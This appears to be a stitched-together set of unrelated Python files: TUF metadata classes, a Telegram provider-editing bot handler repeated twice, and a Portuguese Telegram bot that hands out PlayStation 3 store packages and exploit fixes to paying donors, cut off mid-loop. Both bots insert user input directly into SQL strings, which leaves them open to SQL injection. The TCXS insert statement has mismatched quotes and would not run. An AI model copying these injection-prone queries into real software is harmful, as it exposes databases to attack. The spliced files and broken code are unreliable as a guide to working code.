describe a set of target paths. Only one of the attributes "paths" and "path_hash_prefixes" is allowed to be set. unrecognized_fields: Dictionary of all unrecognized fields. """ def __init__( self, name: str, keyids: List[str], threshold: int, terminating: bool, paths: Optional[List[str]] = None, path_hash_prefixes: Optional[List[str]] = None, unrecognized_fields: Optional[Mapping[str, Any]] = None, ) -> None: super().__init__(keyids, threshold, unrecognized_fields) self.name = name self.terminating = terminating if paths is not None and path_hash_prefixes is not None: raise ValueError( "Only one of the attributes 'paths' and" "'path_hash_prefixes' can be set!" ) self.paths = paths self.path_hash_prefixes = path_hash_prefixes @classmethod def from_dict(cls, role_dict: Mapping[str, Any]) -> "Role": """Creates DelegatedRole object from its dict representation.""" name = role_dict.pop("name") keyids = role_dict.pop("keyids") threshold = role_dict.pop("threshold") terminating = role_dict.pop("terminating") paths = role_dict.pop("paths", None) path_hash_prefixes = role_dict.pop("path_hash_prefixes", None) # All fields left in the role_dict are unrecognized. return cls( name, keyids, threshold, terminating, paths, path_hash_prefixes, role_dict, ) def to_dict(self) -> Dict[str, Any]: """Returns the dict representation of self.""" base_role_dict = super().to_dict() res_dict = { "name": self.name, "terminating": self.terminating, **base_role_dict, } if self.paths is not None: res_dict["paths"] = self.paths elif self.path_hash_prefixes is not None: res_dict["path_hash_prefixes"] = self.path_hash_prefixes return res_dict class Delegations: """A container object storing information about all delegations. Attributes: keys: A dictionary of keyids and key objects containing information about the corresponding key. roles: A list of DelegatedRole instances containing information about all delegated roles. unrecognized_fields: Dictionary of all unrecognized fields. """ def __init__( self, keys: Mapping[str, Key], roles: List[DelegatedRole], unrecognized_fields: Optional[Mapping[str, Any]] = None, ) -> None: self.keys = keys self.roles = roles self.unrecognized_fields = unrecognized_fields or {} @classmethod def from_dict(cls, delegations_dict: Dict[str, Any]) -> "Delegations": """Creates Delegations object from its dict representation.""" keys = delegations_dict.pop("keys") keys_res = {} for keyid, key_dict in keys.items(): keys_res[keyid] = Key.from_dict(key_dict) roles = delegations_dict.pop("roles") roles_res = [] for role_dict in roles: new_role = DelegatedRole.from_dict(role_dict) roles_res.append(new_role) # All fields left in the delegations_dict are unrecognized. return cls(keys_res, roles_res, delegations_dict) def to_dict(self) -> Dict[str, Any]: """Returns the dict representation of self.""" keys = {keyid: key.to_dict() for keyid, key in self.keys.items()} roles = [role_obj.to_dict() for role_obj in self.roles] return { "keys": keys, "roles": roles, **self.unrecognized_fields, } class TargetFile: """A container with information about a particular target file. Attributes: length: An integer indicating the length of the target file. hashes: A dictionary mapping hash algorithms to the hashes resulting from applying them over the metadata file contents:: 'hashes': { '<HASH ALGO 1>': '<TARGET FILE HASH 1>', '<HASH ALGO 2>': '<TARGET FILE HASH 2>', ... } unrecognized_fields: Dictionary of all unrecognized fields. """ @property def custom(self): if self.unrecognized_fields is None: return None return self.unrecognized_fields.get("custom", None) def __init__( self, length: int, hashes: Dict[str, str], unrecognized_fields: Optional[Mapping[str, Any]] = None, ) -> None: self.length = length self.hashes = hashes self.unrecognized_fields = unrecognized_fields or {} @classmethod def from_dict(cls, target_dict: Dict[str, Any]) -> "TargetFile": """Creates TargetFile object from its dict representation.""" length = target_dict.pop("length") hashes = target_dict.pop("hashes") # All fields left in the target_dict are unrecognized. return cls(length, hashes, target_dict) def to_dict(self) -> Dict[str, Any]: """Returns the JSON-serializable dictionary representation of self.""" return { "length": self.length, "hashes": self.hashes, **self.unrecognized_fields, } class Targets(Signed): """A container for the signed part of targets metadata. Attributes: targets: A dictionary that contains information about target files:: { '<TARGET FILE NAME>': <TargetFile INSTANCE>, ... } delegations: An optional object containing a list of delegated target roles and public key store used to verify their metadata signatures. """ _signed_type = "targets" # TODO: determine an appropriate value for max-args and fix places where # we violate that. This __init__ function takes 7 arguments, whereas the # default max-args value for pylint is 5 # pylint: disable=too-many-arguments def __init__( self, version: int, spec_version: str, expires: datetime, targets: Dict[str, TargetFile], delegations: Optional[Delegations] = None, unrecognized_fields: Optional[Mapping[str, Any]] = None, ) -> None: super().__init__(version, spec_version, expires, unrecognized_fields) self.targets = targets self.delegations = delegations @classmethod def from_dict(cls, targets_dict: Dict[str, Any]) -> "Targets": """Creates Targets object from its dict representation.""" common_args = cls._common_fields_from_dict(targets_dict) targets = targets_dict.pop("targets") try: delegations_dict = targets_dict.pop("delegations") except KeyError: delegations = None else: delegations = Delegations.from_dict(delegations_dict) res_targets = {} for target_path, target_info in targets.items(): res_targets[target_path] = TargetFile.from_dict(target_info) # All fields left in the targets_dict are unrecognized. return cls(*common_args, res_targets, delegations, targets_dict) def to_dict(self) -> Dict[str, Any]: """Returns the dict representation of self.""" targets_dict = self._common_fields_to_dict() targets = {} for target_path, target_file_obj in self.targets.items(): targets[target_path] = target_file_obj.to_dict() targets_dict["targets"] = targets if self.delegations is not None: targets_dict["delegations"] = self.delegations.to_dict() return targets_dict # Modification. def update(self, filename: str, fileinfo: TargetFile) -> None: """Assigns passed target file info to meta dict.""" self.targets[filename] = fileinfo
import logging from aiogram import types, Dispatcher from aiogram.dispatcher import FSMContext from app.const import Buttons, MessageParts from app.general_functions import (white_list, get_providers_list, create_iter_keyboard) from app.settings import cur, connect from app.states import OrderEditingProviders as States buttons = (Buttons.ADD_PROVIDER, Buttons.DELETE_PROVIDER) @white_list async def start_editing_providers(message: types.Message) -> None: keyboard = await create_iter_keyboard(buttons) await States.waiting_for_situation.set() await message.answer(MessageParts.WAITING_FOR_SITUATION, reply_markup=keyboard) logging.info(f'{message.chat.username}({message.chat.id}) ' f'switched to ' f'{States.waiting_for_situation=}') async def choice_of_situation(message: types.Message, state: FSMContext) -> None: if message.text not in buttons: await message.answer(MessageParts.USE_KEYBOARD_PLEASE) return await state.update_data(chosen_situation=message.text) user_data = await state.get_data() keyboard = types.ReplyKeyboardMarkup(resize_keyboard=True) keyboard.add(Buttons.CANCEL) if user_data.get('chosen_situation') == Buttons.DELETE_PROVIDER: keyboard = await create_iter_keyboard(await get_providers_list( with_default=False)) await States.waiting_for_write_provider.set() await message.answer(MessageParts.WAITING_FOR_WRITING_PROVIDER, reply_markup=keyboard) logging.info(f'{message.chat.username}({message.chat.id}) ' f'switched to ' f'{States.waiting_for_write_provider=}') async def writing_provider(message: types.Message, state: FSMContext) -> None: user_data = await state.get_data() if user_data.get('chosen_situation') == Buttons.DELETE_PROVIDER: if message.text not in await get_providers_list(with_default=False): await message.answer(MessageParts.USE_KEYBOARD_PLEASE) return cur.execute(f"DELETE FROM providers " f"WHERE provider_desc = '{message.text}'") else: cur.execute(f"INSERT INTO providers(provider_desc) " f"VALUES ('{message.text}') ON CONFLICT DO NOTHING ") connect.commit() await message.answer(f"{MessageParts.DONE}" f" - {user_data.get("chosen_situation")}\n" f" - {message.text}", reply_markup=types.ReplyKeyboardRemove()) logging.info(f'{message.chat.username}({message.chat.id}) ' f'finished scenario "edit_providers_list"') await state.finish() async def setup(dp: Dispatcher) -> None: """ Registering handlers in Dispatcher. """ dp.register_message_handler(start_editing_providers, commands='edit_providers', state=None) dp.register_message_handler(choice_of_situation, state=States.waiting_for_situation) dp.register_message_handler(writing_provider, state=States.waiting_for_write_provider)
import logging from aiogram import types, Dispatcher from aiogram.dispatcher import FSMContext from app.const import Buttons, MessageParts from app.general_functions import (white_list, get_providers_list, create_iter_keyboard) from app.settings import cur, connect from app.states import OrderEditingProviders as States buttons = (Buttons.ADD_PROVIDER, Buttons.DELETE_PROVIDER) @white_list async def start_editing_providers(message: types.Message) -> None: keyboard = await create_iter_keyboard(buttons) await States.waiting_for_situation.set() await message.answer(MessageParts.WAITING_FOR_SITUATION, reply_markup=keyboard) logging.info(f'{message.chat.username}({message.chat.id}) ' f'switched to ' f'{States.waiting_for_situation=}') async def choice_of_situation(message: types.Message, state: FSMContext) -> None: if message.text not in buttons: await message.answer(MessageParts.USE_KEYBOARD_PLEASE) return await state.update_data(chosen_situation=message.text) user_data = await state.get_data() keyboard = types.ReplyKeyboardMarkup(resize_keyboard=True) keyboard.add(Buttons.CANCEL) if user_data.get('chosen_situation') == Buttons.DELETE_PROVIDER: keyboard = await create_iter_keyboard(await get_providers_list( with_default=False)) await States.waiting_for_write_provider.set() await message.answer(MessageParts.WAITING_FOR_WRITING_PROVIDER, reply_markup=keyboard) logging.info(f'{message.chat.username}({message.chat.id}) ' f'switched to ' f'{States.waiting_for_write_provider=}') async def writing_provider(message: types.Message, state: FSMContext) -> None: user_data = await state.get_data() if user_data.get('chosen_situation') == Buttons.DELETE_PROVIDER: if message.text not in await get_providers_list(with_default=False): await message.answer(MessageParts.USE_KEYBOARD_PLEASE) return cur.execute(f"DELETE FROM providers " f"WHERE provider_desc = '{message.text}'") else: cur.execute(f"INSERT INTO providers(provider_desc) " f"VALUES ('{message.text}') ON CONFLICT DO NOTHING ") connect.commit() await message.answer(f"{MessageParts.DONE}" f" - {user_data.get('chosen_situation')}\n" f" - {message.text}", reply_markup=types.ReplyKeyboardRemove()) logging.info(f'{message.chat.username}({message.chat.id}) ' f'finished scenario "edit_providers_list"') await state.finish() async def setup(dp: Dispatcher) -> None: """ Registering handlers in Dispatcher. """ dp.register_message_handler(start_editing_providers, commands='edit_providers', state=None) dp.register_message_handler(choice_of_situation, state=States.waiting_for_situation) dp.register_message_handler(writing_provider, state=States.waiting_for_write_provider)
# -*- coding: utf-8 -*- #███╗ ███╗ █████╗ ███╗ ██╗██╗ ██████╗ ██████╗ ███╗ ███╗██╗ ██████╗ #████╗ ████║██╔══██╗████╗ ██║██║██╔════╝██╔═══██╗████╗ ████║██║██╔═══██╗ #██╔████╔██║███████║██╔██╗ ██║██║██║ ██║ ██║██╔████╔██║██║██║ ██║ #██║╚██╔╝██║██╔══██║██║╚██╗██║██║██║ ██║ ██║██║╚██╔╝██║██║██║ ██║ #██║ ╚═╝ ██║██║ ██║██║ ╚████║██║╚██████╗╚██████╔╝██║ ╚═╝ ██║██║╚██████╔╝ #╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ # [+] @GorpoOrko 2020 - Telegram Bot and Personal Assistant [+] # | TCXS Project Hacker Team - https://tcxsproject.com.br | # | Telegram: @GorpoOrko Mail:gorpoorko@protonmail.com | # [+] Github Gorpo Dev: https://github.com/gorpo [+] from amanobot.exception import TelegramError from bot_files.config import bot, sudoers, logs, bot_username, bot_id from amanobot.namedtuple import InlineKeyboardMarkup from bot_files.utils import escape_markdown from bot_files.db_handler import conn, cursor import sqlite3 from bot_files.plugins.admins import is_admin from datetime import datetime from dateutil.relativedelta import relativedelta import keyboard def get_welcome(chat_id): cursor.execute('SELECT welcome, welcome_enabled FROM chats WHERE chat_id = (?)', (chat_id,)) try: return cursor.fetchone() except IndexError: return None def set_welcome(chat_id, welcome): cursor.execute('UPDATE chats SET welcome = ? WHERE chat_id = ?', (welcome, chat_id)) conn.commit() def enable_welcome(chat_id): cursor.execute('UPDATE chats SET welcome_enabled = ? WHERE chat_id = ?', (True, chat_id)) conn.commit() def disable_welcome(chat_id): cursor.execute('UPDATE chats SET welcome_enabled = ? WHERE chat_id = ?', (False, chat_id)) conn.commit() async def welcome(msg): if msg.get('text'): if msg['text'].split()[0] == '/welcome' or msg['text'].split()[0] == '/welcome@' + bot_username or \ msg['text'].split()[0] == '!welcome': if msg['chat']['type'] == 'private': await bot.sendMessage(msg['chat']['id'], 'Este comando só funciona em grupos ¯\\_(ツ)_/¯') elif (await is_admin(msg['chat']['id'], msg['from']['id']))['user']: text = msg['text'].split(' ', 1) if len(text) == 1: await bot.sendMessage(msg['chat']['id'], 'Uso: /welcome on/off/reset/mensagem de boas-vindas do grupo (suporta Markdown e as tags $name, $title, $id e $rules)', reply_to_message_id=msg['message_id']) elif text[1] == 'on': enable_welcome(msg['chat']['id']) await bot.sendMessage(msg['chat']['id'], 'A mensagem de boas-vindas foi ativada.', reply_to_message_id=msg['message_id']) elif text[1] == 'off': disable_welcome(msg['chat']['id']) await bot.sendMessage(msg['chat']['id'], 'A mensagem de boas-vindas foi desativada.', reply_to_message_id=msg['message_id']) elif text[1] == 'reset': set_welcome(msg['chat']['id'], None) await bot.sendMessage(msg['chat']['id'], 'A mensagem de boas-vindas foi redefinida.', reply_to_message_id=msg['message_id']) else: try: sent = await bot.sendMessage(msg['chat']['id'], text[1], parse_mode='Markdown', reply_to_message_id=msg['message_id']) set_welcome(msg['chat']['id'], text[1]) await bot.editMessageText((msg['chat']['id'], sent['message_id']), 'A mensagem de boas-vindas foi definida.') except TelegramError as e: await bot.sendMessage(msg['chat']['id'], '''Ocorreu um erro ao definir a mensagem de boas-vindas: {} Se esse erro persistir entre em contato com @GorpoOrko.'''.format(e.description), reply_to_message_id=msg['message_id']) return True elif msg.get('new_chat_member'): chat_title = msg['chat']['title'] chat_id = msg['chat']['id'] first_name = msg['new_chat_member']['first_name'] user_id = msg['new_chat_member']['id'] if msg['new_chat_member']['id'] == bot_id: pass else: #daqui para baixo e codigo novo meu-------------------------------------------------->>>>>>>>>>>>>> ############SISTEMA DE CADASTRO DOS USUARIOS AUTOMATICAMENTE NO BANCO DE DADOS PARA BANIMENTO------ ############SISTEMA DE CADASTRO DOS USUARIOS AUTOMATICAMENTE NO BANCO DE DADOS PARA BANIMENTO------ ############SISTEMA DE CADASTRO DOS USUARIOS AUTOMATICAMENTE NO BANCO DE DADOS PARA BANIMENTO------ try: doador = f"@{msg["new_chat_member"]["username"]}" except: doador = f"@{msg["new_chat_member"]["id"]} ({msg["new_chat_member"]["first_name"]})" try: conexao_sqlite = sqlite3.connect('bot_files/bot_database.db') conexao_sqlite.row_factory = sqlite3.Row cursor_sqlite = conexao_sqlite.cursor() cursor_sqlite.execute("""SELECT * FROM banimento; """) resultados = cursor_sqlite.fetchall() chat_id = msg['chat']['id'] for info in resultados: if chat_id == int(info['id_grupo']) and int(info['valor']) == 1: #cadastra os usuarios de forma automatica daqui para baixo: conexao_sqlite = sqlite3.connect('bot_files/bot_database.db') conexao_sqlite.row_factory = sqlite3.Row cursor_sqlite = conexao_sqlite.cursor() chat_id = msg['chat']['id'] print(f"Novo usuário: {doador} entrou no Grupo {msg["chat"]["title"]}") id_doador = msg['new_chat_member']['id'] admin = 'cadastro automatico' dias = 35 #QUANTIDADE DE DIAS SETADA MANUALMENTE, POR ISTO COMO COMANDO NA DATABASE hoje = datetime.now().strftime('%d/%m/%Y %H:%M:%S') data_inicial = hoje dias_restantes = datetime.now() + relativedelta(days=int(dias))#-------------------------------- data_final = dias_restantes.strftime('%d/%m/%Y %H:%M:%S') data_avisar = dias_restantes - relativedelta(days=int(7))#------------------------------------- data_aviso = data_avisar.strftime('%d/%m/%Y %H:%M:%S') #verifica se existe cadastro: cursor_sqlite.execute("""SELECT * FROM permanencia; """) resultados = cursor_sqlite.fetchall() existe_cadastro = 0 # contador para verificar se o comando ja existe for res in resultados: # loop em todos resultados da Database if res['id_doador'] == str(id_doador): existe_cadastro = 1 # troca o valor de existe_cadastro para 1 if existe_cadastro == 1: await bot.sendMessage(chat_id, "🤖 `Usuário ja cadastrado, apague ele manualmente e insira os dados novamente`", 'markdown') else: await bot.sendMessage(chat_id, f"""🤖 Dados inseridos com exito no cadastro de permanência do grupo. 👮Admin: {admin} 🧑Usuário: {doador} ⚠️Id_Usuário: {id_doador} 🕐Início: {data_inicial} 🕐Termino: {data_final} 🚨Aviso Vencimento: {data_aviso} 📅Permanência: {dias}""") cursor_sqlite.execute(f"""INSERT INTO permanencia(int_id,grupo,id_grupo, admin, doador, id_doador, dias, data_inicial, data_final,data_aviso)VALUES(null,'{msg["chat"]["title"]}','{msg["chat"]["id"]}','{admin}","{doador}','{id_doador}","{dias}','{data_inicial}","{data_final}','{data_aviso}')""") conexao_sqlite.commit() #print(admin, doador, id_doador, dias, data_inicial, data_final) try:#PEGA A FOTO DO USUARIO E ENVIA NO Grupo a = await bot.getUserProfilePhotos(msg['new_chat_member']['id']) b = a['photos'][0][0]['file_id'] await bot.sendPhoto(chat_id,b) except Exception as e: pass except Exception as e: await bot.sendMessage(chat_id,f"🤖 `Ocorreu um erro ao inserir os dados na Database.Envie novamente o comando manualmente conforme exemplo:` ```restringir @usuario id_usuario dias``` ***Exemplo:*** restringir @xbadcoffee 1367451130 30 ",'markdown') ###########FIM DO SISTEMA DE BANIMENTO--------------------------------------------------------------------------- #ACIMA TUDO CODIGO MEU-------------------------> welcome = get_welcome(chat_id) if welcome[1]: if welcome[0] is not None: welcome = welcome[0].replace('$name', escape_markdown(first_name)).replace('$title', escape_markdown( chat_title)).replace( '$id', str(user_id)) else: welcome = 'Olá {}, seja bem-vindo(a) ao {}!'.format(first_name, escape_markdown(chat_title)) if '$rules' in welcome: welcome = welcome.replace('$rules', '') rules_markup = InlineKeyboardMarkup(inline_keyboard=[[dict(text='Leia as regras',url='http://tcxsproject.com.br/doadores-tcxs-store-regras/')]]) kb = InlineKeyboardMarkup(inline_keyboard=[ [dict(text='📦 Store Free', callback_data='store_free')] + [dict(text="📦 Store Doadores", callback_data='store_doadores')], [dict(text='🦸 Usuários', callback_data='comandos_usuarios')] + [dict(text="🤖‍ Admin's", callback_data='comandos_admins')], [dict(text='🧰 Ferramentas', callback_data='ferramentas_gerais')] + [dict(text='📣 Info | Extras', callback_data='infos_extras')], ]) await bot.sendMessage(msg['chat']['id'], f"***{first_name} Aqui está uma lista com todos meus comandos e informações que você precisa saber.***", 'markdown', reply_markup=kb) # return True # PEGA OS DADOS DO keyboard.py ----------------------: elif msg.get('data') and msg.get('message'): if msg[ 'data'] == 'inicio_menu': # precisa de dois menus para voltar para o inicio criando um loop entre os dois-----> kb = InlineKeyboardMarkup(inline_keyboard=[ [dict(text='📦 Store Free', callback_data='store_free')] + [dict(text="📦 Store Doadores", callback_data='store_doadores')], [dict(text='🦸 Usuários', callback_data='comandos_usuarios')] + [dict(text="🤖‍ Admin's", callback_data='comandos_admins')], [dict(text='🧰 Ferramentas', callback_data='ferramentas_gerais')] + [dict(text='📣 Info | Extras', callback_data='infos_extras')], ]) await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"***{msg["from"]["first_name"]} Aqui está uma lista com todos meus comandos e informações que você precisa saber.***", 'markdown', reply_markup=kb) # return True # TCXS STORE FREE PKG -------------------------------------------------------------------------------------------------------------------------> elif msg['data'] == 'store_free': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"```------ Espero que tenha um pendrive em mãos e saiba usar a\n loja, não daremos suporte para USUARIOS GRATUITOS, agora copie os arquivos abaixo para a raiz de um pendrive e coloque na USB direita do seu console, caso use HAN instale o FIX, caso use HEN apenas instale a loja!```", 'markdown', reply_markup=keyboard.store_free) # return True # entrega da loja free: elif msg['data'].split()[0] == 'download_store_free': cursor_sqlite.execute("""SELECT * FROM loja_free""") resultados = cursor_sqlite.fetchall() if resultados == []: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🤖 ***Bot diz:*** `não tenho lojas cadastradas, insira o banco de dados com dados ou cadastre um PKG enviando ela no meu privado com nome inicinando com TCXS, exexmplo:` ***TCXS_Store_3.9.pkg***", 'markdown', reply_markup=keyboard.voltar_store_doadores) else: for resultado in resultados: id_pkg = resultado['pkg'] nome_pkg = resultado['versao'] data_att = resultado['data'] uploader_id = resultado['uploader'] await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `INSTRUÇÕES:` ```------ Abaixo temos a ultima atualização da TCXS Store para PlayStation3, baixe e insira no pendrive, plugue o pendrive em seu console, ative o Hen e instale ela pelo Package Manager.\nCaso seja usuário de HAN será necessário usar o Fix,baixe ele, depois basta inserir o Fix e a Loja em seu pendrive e através do seu Han instalar ambos arquivos, ambos processos concluidos reinicie seu console!```", 'markdown', reply_markup=keyboard.voltar_store_free) await bot.sendDocument(msg['message']['chat']['id'], document=id_pkg, caption=f'{nome_pkg} upada em {data_att} por @{uploader_id}') # entrega do fix elif msg['data'].split()[0] == 'download_fix': cursor_sqlite.execute("""SELECT * FROM fix_han""") resultados = cursor_sqlite.fetchall() if resultados == []: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🤖 ***Bot diz:*** `não tenho o fix han, insira o banco de dados com dados ou cadastre um PKG enviando ele no meu privado com nome de:` ***FIX_HAN.pkg***", 'markdown', reply_markup=keyboard.voltar_store_free) else: for resultado in resultados: nome_pkg = resultado['versao'] data_att = resultado['data'] id_pkg = resultado['pkg'] uploader_id = resultado['uploader'] await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `INSTRUÇÕES:` ```------ Abaixo temos o Fix da TCXS Store para PlayStation3, baixe e insira no pendrive, plugue o pendrive em seu console com o Fix e a Loja, através do seu Han instalar ambos arquivos, ambos processos concluidos reinicie seu console!```", 'markdown', reply_markup=keyboard.voltar_store_free) await bot.sendDocument(msg['message']['chat']['id'], document=id_pkg, caption='Fix para usuários HAN') elif msg['data'].split()[0] == 'tutorial_segundo_plano': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `TUTORIAL:` ```------ Abaixo temos o Tutorial TCXS Store ensinando como fazer os Downloads em Segundo Plano em seu PlayStation3!```", 'markdown', reply_markup=keyboard.voltar_store_free) await bot.sendMessage(msg['message']['chat']['id'], 'https://youtu.be/_21a5REKhBc') # return True elif msg['data'].split()[0] == 'fone_bluetooth': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `TUTORIAL:` ```------ Sabia que você pode usar seu fone bluetooth para jogos em seu PlayStation3?```", 'markdown', reply_markup=keyboard.voltar_store_free) await bot.sendMessage(msg['message']['chat']['id'], 'https://www.youtube.com/watch?v=_wYG7iMa5uY') # return True elif msg['data'].split()[0] == 'proxy_usuarios': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `TUTORIAL:` ```------ Siga nosso tutorial de proxy para melhorar sua conexão e evitar banimento do seu PlayStation3!```", 'markdown', reply_markup=keyboard.voltar_store_free) await bot.sendMessage(msg['message']['chat']['id'], 'https://youtu.be/l4o8ySk1Do4') # return True # TCXS STORE PKG DOADORES | PAYD-------------------> elif msg['data'] == 'store_doadores': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"```------ Leia atentamente como adquirir acesso a Loja para Doadores, caso discorde basta não doar. Caso queira doar agora ou renovar sua entrada no grupo de doadores clique em Doar Agora, você será redirecionado para o Mercado Pago da TCXS Project. Não prestamos reembolsos e após doar basta enviar um comprovante no privado dos administradores.```\n`Pra ver os administradores digite:` /admin", 'markdown', reply_markup=keyboard.store_doadores) # return True elif msg['data'] == 'como_participar': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"```------ Para participar você precisa fazer uma doação, pagamos mensalmente Dropbox de 5tb para armazenamento dos jogos e o valor é cobrado em dolar, a doação é mensal e doando você não esta comprando um produto, mas sim participando de uma vaquinha, todo dinheiro arrecadado fica retido na conta do Mercado Pago para pagarmos o servidor, resumindo contribuindo você faz parte de uma vaquinha de doadores que mantem o servidor, nós da TCXS Project não temos lucro e nosso trabalho é voluntário, caso queira ajudar em algo e se juntar a equipe é bem vindo. Leia atentamente esta documentação e caso discorde de algo pedimos que não doe, não prestamos reembolsos.```\n`Pra ver os administradores digite:` /admin", 'markdown', reply_markup=keyboard.voltar_store_doadores) await bot.sendMessage(msg['message']['chat']['id'], 'http://tcxsproject.com.br/doadores-tcxs-store-regras/') elif msg['data'] == 'mercado_pago': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"```------ Vejo que tem interesse em ser doador, usamos o sistema do Mercado Pago somente, favor nao insistir com outras formas.\nO Mercado Pago aceita pagamentos online e com cartão de crédito e boletos, este sistema é o mais seguro para nos da equipe e para vocês doadores, lembre que a doação é mensal e doando você faz parte da vaquina que mantem os servidores de 5tb da Dropbox onde encontram-se nossos jogos. Pedimos que antes de doar leia atentamente as regras como mencionado antes e após fazer sua doação envie o comprovante no privado de um de nossos administradores.```\n`Pra ver os administradores digite:` /admin", 'markdown', reply_markup=keyboard.voltar_store_doadores) await bot.sendMessage(msg['message']['chat']['id'], 'https://www.mercadopago.com.br/checkout/v1/redirect?pref_id=354396246-315fce8c-d8f9-4aa0-8583-95d678936375') ## ATUALIZAÇÃO PARA DOADORES ATRAVÉS DO SISTEMA DE BOTÕES------------------------------------------------------------------------------>> # LOJA PAGA PARA DOADORES COM DATABASE E BOTOES------------> elif msg['data'].split()[0] == 'download_store_doadores': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `INSTRUÇÕES:` ```------ Bem vindo a TCXS Project ,agora você faz parte dela, entenda que as doações sao mensais e nossa equipe nao ganha nada por este projeto, todo dinheiro arrecadado neste grupo é para pagar os servidores dos quais dispomos jogos. Logo a PSN STUFF IRÁ ACABAR POIS OS SERVIDORES SERÃO DESLIGADOS e assim nao terá mais os jogos gratuitos por ai, restando apenas este acervo que é mantido por voces doadores! Vamos a Instalação!!! --> Espero que tenha um pendrive em mãos! --> copie os arquivos da VERSÃO 3.6 e caso use o fix de acordo com seu Exploit/Desbloqueio, se voce tem han ou CFW use o FIX HAN, caso contrário e seja o Exploit HEN em seu console use o FIX HEN, é necessaria a instalacao deste arquivo para que a loja apareca em seu console! Ative seu HAN/HEN e instale o FIX, após o FIX instalado instale a TCXS Store PKG, recomendamos reiniciar o console após este processo!!```", 'markdown', reply_markup=keyboard.voltar_store_doadores) if msg['message']['chat']['title'] == 'Doadores TCXS 2020': cursor_sqlite.execute("""SELECT * FROM loja_doadores""") resultados = cursor_sqlite.fetchall() if resultados == []: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🤖 ***Bot diz:*** `não tenho lojas cadastradas, insira o banco de dados com dados ou cadastre um PKG enviando ela no meu privado com nome inicinando com TCXS, exexmplo:` ***TCXS_Store_3.9.pkg***", 'markdown', reply_markup=keyboard.voltar_store_doadores) else: for resultado in resultados: id_pkg = resultado['pkg'] nome_pkg = resultado['versao'] data_att = resultado['data'] uploader_id = resultado['uploader'] await bot.sendDocument(msg['message']['chat']['id'], document=id_pkg, caption=f'{nome_pkg} upada em {data_att} por @{uploader_id}') else: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🚨 `ATENÇÃO`🚨 ```------ Este comando só funciona no grupo de doadores.```", 'markdown', reply_markup=keyboard.voltar_store_doadores) # return True # FIX HAN PARA DOADORES COM DATABASE E BOTOES------------> elif msg['data'].split()[0] == 'download_fix_han_doadores': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `INSTRUÇÕES:` ```------ Abaixo temos o Fix da TCXS Store para PlayStation3, baixe e insira no pendrive, plugue o pendrive em seu console com o Fix e a Loja, ambos processos concluidos reinicie seu console!```", 'markdown', reply_markup=keyboard.voltar_store_doadores) if msg['message']['chat']['title'] == 'Doadores TCXS 2020': cursor_sqlite.execute("""SELECT * FROM fix_han""") resultados = cursor_sqlite.fetchall() if resultados == []: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🤖 ***Bot diz:*** `não tenho o fix han, insira o banco de dados com dados ou cadastre um PKG enviando ele no meu privado com nome de:` ***FIX_HAN.pkg***", 'markdown', reply_markup=keyboard.voltar_store_doadores) else: for resultado in resultados: nome_pkg = resultado['versao'] data_att = resultado['data'] id_pkg = resultado['pkg'] uploader_id = resultado['uploader'] await bot.editMessageText( (msg['message']['chat']['id'], msg['message']['message_id']), f"🚨 `ATENÇÃO`🚨 ```------ Veja o tutorial INSTALAÇÃO EXPLOIT HAN E HEN! no menu abaixo ```", 'markdown', reply_markup=keyboard.voltar_store_doadores) await bot.sendDocument(msg['message']['chat']['id'], document=id_pkg, caption='Fix para usuários HAN') else: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🚨 `ATENÇÃO`🚨 ```------ Este comando só funciona no grupo de doadores.```", 'markdown', reply_markup=keyboard.voltar_store_doadores) # return True # FIX HEN PARA DOADORES COM DATABASE E BOTOES------------> elif msg['data'].split()[0] == 'download_fix_hen_doadores': if msg['message']['chat']['title'] == 'Doadores TCXS 2020': cursor_sqlite.execute("""SELECT * FROM fix_hen""") resultados = cursor_sqlite.fetchall() if resultados == []: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🤖 ***Bot diz:*** `não tenho o fix hen, insira o banco de dados com dados ou cadastre um PKG enviando ele no meu privado com nome de:` ***FIX_HEN.pkg***", 'markdown', reply_markup=keyboard.voltar_store_doadores) else: for resultado in resultados: id_pkg = resultado['pkg'] await bot.editMessageText( (msg['message']['chat']['id'], msg['message']['message_id']), f"🚨 `ATENÇÃO`🚨 ```------ Veja o tutorial INSTALAÇÃO EXPLOIT HAN E HEN! no menu abaixo ```", 'markdown', reply_markup=keyboard.voltar_store_doadores) await bot.sendDocument(msg['message']['chat']['id'], document=id_pkg, caption='Fix para usuários HEN') else: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🚨 `ATENÇÃO`🚨 ```------ Este comando só funciona no grupo de doadores.```", 'markdown', reply_markup=keyboard.voltar_store_doadores) # return True # FIX CFW XML DOADORES COM DATABASE E BOTOES------------> elif msg['data'].split()[0] == 'download_fix_cfw_doadores': if msg['message']['chat']['title'] == 'Doadores TCXS 2020': cursor_sqlite.execute("""SELECT * FROM fix_cfw_xml""") resultados = cursor_sqlite.fetchall() if resultados == []: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🤖 ***Bot diz:*** `não tenho o fix cfw xml, insira o banco de dados com dados ou cadastre um PKG enviando ele no meu privado com nome de:` ***category_network_tool2.xml***", 'markdown', reply_markup=keyboard.voltar_store_doadores) else: for resultado in resultados: 